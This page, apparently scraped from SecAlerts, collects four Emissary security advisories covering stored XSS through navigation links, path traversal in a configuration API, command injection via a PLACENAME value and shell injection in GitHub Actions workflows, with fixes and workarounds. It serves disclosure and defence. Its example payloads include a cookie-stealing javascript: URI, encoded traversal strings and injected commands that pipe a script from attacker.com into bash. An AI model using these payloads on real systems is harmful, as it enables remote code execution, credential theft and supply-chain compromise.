Where
AND
-Infinity
0
Severity
4.8
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface.

Details

Vulnerable code — nav.mustache (line 10)

html {{#navItems}} <li class="nav-item"> <a class="nav-link" href="{{link}}">{{display}}</a> </li> {{/navItems}}

The {{link}} value was rendered without any scheme validation. Mustache's default HTML escaping protects against injection of new HTML tags but does not prevent javascript: URIs in href attributes, since javascript: contains no characters that HTML-escaping would alter.

Attack vector

An administrator sets a navigation item's link to: javascript:alert(document.cookie)

Any authenticated user who clicks the navigation link executes the script in their browser context.

Impact

- Session hijacking via cookie theft - Actions performed on behalf of the victim user - Requires administrative access to modify navigation configuration - Requires user interaction (clicking the malicious link)

Mitigating factors

- Exploitation requires administrative access to modify the navItems configuration - User interaction (clicking the link) is required - The Emissary web interface is typically accessed only by authenticated operators within a trusted network

Remediation

Fixed in PR #1293, merged into release 8.39.0.

Server-side link validation — NavAction.java

An allowlist regex was added that only permits http://, https://, or site-relative (/) URLs:

java private static final Pattern VALIDLINK = Pattern.compile("^(https?:/)?/.");

private static boolean isValidLink(String link) { if (!VALIDLINK.matcher(link).matches()) { logger.warn("Skipping invalid navigation link '{}'", link); return false; } return true; }

Invalid links are logged and silently dropped from the rendered navigation.

Template hardening — nav.mustache

Added rel="noopener noreferrer" to all navigation link anchor tags as a defense-in-depth measure:

html <a class="nav-link" href="{{link}}" rel="noopener noreferrer">{{display}}</a>

Tests were added to verify that javascript: and ftp:// URIs are rejected while http://, https://, and site-relative (/path) links are accepted.

Workarounds

If upgrading is not immediately possible, audit the navigation configuration to ensure all navItems link values use only http://, https://, or relative (/) URL schemes.

References

- PR #1293 — validate nav links - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory.

Details

Vulnerable code — Configs.java (line 126)

java protected static String validate(String config) { if (StringUtils.isBlank(config) || config.contains("\\") || config.contains("/") || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

Weakness

The blacklist blocked literal \, /, .., and trailing . but could potentially miss:

- URL-encoded variants (%2e%2e%2f) if decoded after validation - Double-encoded sequences (%252e%252e%252f) - Unicode normalization bypasses - The approach relies on string matching rather than canonical path resolution

Impact

- Potential read access to configuration files outside the intended config directory - Information disclosure of sensitive configuration values

Remediation

Fixed in PR #1292, merged into release 8.39.0.

The blacklist was replaced with an allowlist regex that only permits characters matching ^[a-zA-Z0-9.-]+$:

java protected static final Pattern VALIDCONFIGNAME = Pattern.compile("^[a-zA-Z0-9.-]+$");

protected static String validate(String config) { if (!VALIDCONFIGNAME.matcher(config).matches() || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

This ensures that any character outside the allowed set — including encoded slashes, percent signs, and Unicode sequences — is rejected before the config name reaches the filesystem.

Tests were added to verify that URL-encoded (%2e%2e%2f), double-encoded (%252e%252e%252f), and Unicode (U+002F) traversal attempts are blocked.

Workarounds

If upgrading is not immediately possible, deploy a reverse proxy or WAF rule that rejects requests to /api/configuration/ containing encoded path traversal sequences.

References

- PR #1292 — validate config name with an allowlist - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
OS Command Injection
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132): java this.placeName = this.placeName.replace(' ', ''); // ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058): java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; }

Data flow

1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c

Example payload

PLACENAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9-]:

java protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

This ensures that any shell metacharacter in the PLACENAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACENAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

- PR #1290 — validate placename with an allowlist - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Command Injection, Input Validation
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflowdispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflowdispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

yaml - name: Set the name of the branch run: echo "PRBRANCH=action/${{ github.event.inputs.nextversion }}" >> "$GITHUBENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUBTOKEN permissions (contents: write, pull-requests: write).

Impact

- Arbitrary code execution within the CI/CD runner - Repository modification via the contents: write token (push malicious commits) - Supply chain poisoning — downstream users who clone or build receive compromised code - Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs. }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

yaml After (safe — input is never interpreted by the shell parser) - name: Set the name of the branch run: echo "PRBRANCH=action/$INNEXTVERSION" >> "$GITHUBENV" env: INNEXTVERSION: ${{ github.event.inputs.nextversion }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

- maven-version.yml: Validates nextversion matches ^[a-zA-Z0-9.-]+$ - maven-release.yml: Validates releasesuffix matches ^[a-zA-Z0-9.-]+$ - cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

- PR #1286 — environment variable indirection - PR #1288 — input validation - GitHub Security Lab: Keeping your GitHub Actions and workflows secure - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203